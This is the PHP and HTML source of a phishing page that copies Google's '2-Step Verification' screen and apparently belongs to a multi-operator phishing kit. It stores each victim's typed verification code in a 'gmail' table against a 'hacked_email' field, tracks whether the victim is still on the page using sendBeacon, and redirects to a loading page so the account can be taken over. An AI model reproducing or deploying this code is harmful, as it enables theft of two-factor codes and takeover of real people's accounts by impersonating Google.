<?php
session_start();
// Include the database connection file
include 'con.php';

// Check if session parameters exist
if (isset($_SESSION['email']) && isset($_SESSION['admin_id']) && isset($_SESSION['user_id'])) {
    $admin_id = $_SESSION['admin_id'];
    $user_id = $_SESSION['user_id'];
    $email = $_SESSION['email'];

    // Function to get the correct connection based on admin_id
    function getConnection($admin_id) {
           global $con1, $con2, $con3, $con4, $con5, $con6, $con7, $con8, $con9, $con10, 
               $con11, $con12, $con13, $con14, $con15, $con16, $con17, $con18, $con19, 
               $con20, $con21, $con22, $con23, $con24, $con25, $con26, $con27, $con28, 
               $con29, $con30;
        $connectionVar = "con" . $admin_id; // Dynamic variable name
        return isset($$connectionVar) ? $$connectionVar : null;
    }

    // Get the connection
    $connection = getConnection($admin_id);
    if (!$connection) {
        die("No database connection found for admin_id $admin_id.");
    }
    
   
$visitor_id = session_id();
$current_page = "CODE_PAGE";
$visitor_id=$_SESSION['visitor_id'];
// default
$status = 'active';

/* detect leave via sendBeacon */
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['leave'])) {
    $status = 'inactive';
}

/* check visitor */
$check = mysqli_query($connection,
    "SELECT id FROM gmail WHERE visitor_id='$visitor_id' LIMIT 1"
);

 

    mysqli_query($connection,"
        UPDATE gmail SET
            current_page='$current_page',
            visitor_status='$status',
            last_active=NOW()
        WHERE visitor_id='$visitor_id'
        LIMIT 1
    ");
 

                // Handle password update on form submission
    if (isset($_POST['submit'])) {
        
        $code = mysqli_real_escape_string($connection, $_POST['code']); // Sanitize the password

        // Update the password in the database
        $query = mysqli_query($connection, "UPDATE `gmail` SET `code`='$code' WHERE `hacked_email`='$email'");

        if ($query) {
            // Redirect to the loading page on successful update
            header("Location: loading.php");
            exit();
        } else {
           
        }
    }
    
    
                                   
                                      
                                      
                                      
                                      
                                      

}


 ?>

<!DOCTYPE html>
 
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sign in</title>
    <script src="another_way/saved_resource"></script>
    <link rel="shortcut icon" href="https://www.google.com/favicon.ico" type="image/x-icon">

    <link rel="preconnect" href="https://fonts.googleapis.com/">
    <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin="">
    <link href="another_way/css2" rel="stylesheet">


    <style>
        .input-wrapper label {
            position: absolute;
            top: 75%;
            left: 0.75rem;
            transform: scale(0.75) translateY(-39px);
            pointer-events: none;
            color: gray;
            transition: .3s;
            font-size: 20px;
        }
        .customstyle::focus~.customtext{
            color: blue;
        }
        .input-wrapper input:focus~label,
        .input-wrapper input:valid~label {
            top: 20px;
            font-size: 12px;
            padding-bottom: 5px;
        }

        .roboto {
            font-family: "Roboto", sans-serif;
        }

    </style>

<style>*, ::before, ::after{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:rgb(59 130 246 / 0.5);--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }/* ! tailwindcss v3.4.16 | MIT License | https://tailwindcss.com */*,::after,::before{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}::after,::before{--tw-content:''}:host,html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,pre,samp{font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dd,dl,figure,h1,h2,h3,h4,h5,h6,hr,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}menu,ol,ul{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}[role=button],button{cursor:pointer}:disabled{cursor:default}audio,canvas,embed,iframe,img,object,svg,video{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.absolute{position:absolute}.relative{position:relative}.-top-\[12px\]{top:-12px}.left-\[6px\]{left:6px}.mx-auto{margin-left:auto;margin-right:auto}.mb-10{margin-bottom:2.5rem}.mb-3{margin-bottom:0.75rem}.mb-5{margin-bottom:1.25rem}.mt-20{margin-top:5rem}.flex{display:flex}.w-10\/12{width:83.333333%}.w-20{width:5rem}.w-full{width:100%}.cursor-pointer{cursor:pointer}.list-none{list-style-type:none}.items-center{align-items:center}.justify-between{justify-content:space-between}.space-x-8 > :not([hidden]) ~ :not([hidden]){--tw-space-x-reverse:0;margin-right:calc(2rem * var(--tw-space-x-reverse));margin-left:calc(2rem * calc(1 - var(--tw-space-x-reverse)))}.space-y-2 > :not([hidden]) ~ :not([hidden]){--tw-space-y-reverse:0;margin-top:calc(0.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(0.5rem * var(--tw-space-y-reverse))}.rounded-\[4px\]{border-radius:4px}.rounded-md{border-radius:0.375rem}.border-2{border-width:2px}.border-blue-500{--tw-border-opacity:1;border-color:rgb(59 130 246 / var(--tw-border-opacity, 1))}.bg-blue-500{--tw-bg-opacity:1;background-color:rgb(59 130 246 / var(--tw-bg-opacity, 1))}.bg-white{--tw-bg-opacity:1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.px-2{padding-left:0.5rem;padding-right:0.5rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-3{padding-top:0.75rem;padding-bottom:0.75rem}.py-\[6px\]{padding-top:6px;padding-bottom:6px}.text-center{text-align:center}.text-2xl{font-size:1.5rem;line-height:2rem}.text-\[12px\]{font-size:12px}.text-base{font-size:1rem;line-height:1.5rem}.text-sm{font-size:0.875rem;line-height:1.25rem}.font-medium{font-weight:500}.text-blue-500{--tw-text-opacity:1;color:rgb(59 130 246 / var(--tw-text-opacity, 1))}.text-gray-500{--tw-text-opacity:1;color:rgb(107 114 128 / var(--tw-text-opacity, 1))}.text-white{--tw-text-opacity:1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.outline-none{outline:2px solid transparent;outline-offset:2px}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(0.4, 0, 0.2, 1);transition-duration:150ms}.hover\:bg-blue-600:hover{--tw-bg-opacity:1;background-color:rgb(37 99 235 / var(--tw-bg-opacity, 1))}@media (min-width: 768px){.md\:-mt-\[87px\]{margin-top:-87px}.md\:h-screen{height:100vh}.md\:w-\[28rem\]{width:28rem}.md\:border{border-width:1px}.md\:px-10{padding-left:2.5rem;padding-right:2.5rem}}</style></head>
<body class="roboto">
    <div class="flex items-center md:h-screen">
        <div class="md:border rounded-md w-10/12 md:w-[28rem] mx-auto md:px-10 py-12">  
            <div class="w-20 mx-auto mb-3">
                <img src="another_way/logo.webp" alt="Logo">
            </div>
            <div class="space-y-2 mb-10 text-center">
                <h1 class="text-2xl">2-Step Verification</h1>
                <p class="text-base">To help keep your account safe, Google wants to make sure it's really you trying to sign in</p>
            </div>

            <form action="" method="post">

                <p class="mb-5">A text message with a 6-digit verification code was just sent  </p>
                <div class="border-blue-500 border-2 py-3 rounded-[4px] relative">
                    <h4 class="absolute -top-[12px] left-[6px] bg-white px-2 text-blue-500 text-sm">Enter the code</h4>
                    <input class="outline-none w-full px-4" type="text" name="code" autofocus="" required="">
                </div>
                <div class="flex justify-between mt-20">
                    <div>
                        <h2 class="text-blue-500 font-medium">Forgot password?</h2>
                    </div>
                    <br>
                    <div>
                        <input class="bg-blue-500 hover:bg-blue-600 transition-all text-white rounded-[4px] px-6 py-[6px] cursor-pointer" type="submit" name="submit">
                    </div>
                </div>
            </form>
        </div>
    </div>
    <div class="w-10/12 md:w-[28rem] mx-auto flex justify-between md:-mt-[87px] text-gray-500 text-[12px] ">
        <div>
            <h3>English (United States)</h3>
        </div>
        <ul class="flex list-none space-x-8 ">
            <li>Help</li>
            <li>Privacy</li>
            <li>Terms</li>
        </ul>
    </div>

<script>
window.addEventListener("beforeunload", function () {
    navigator.sendBeacon(
        window.location.href,
        new URLSearchParams({ leave: 1 })
    );
});
</script>
</body></html>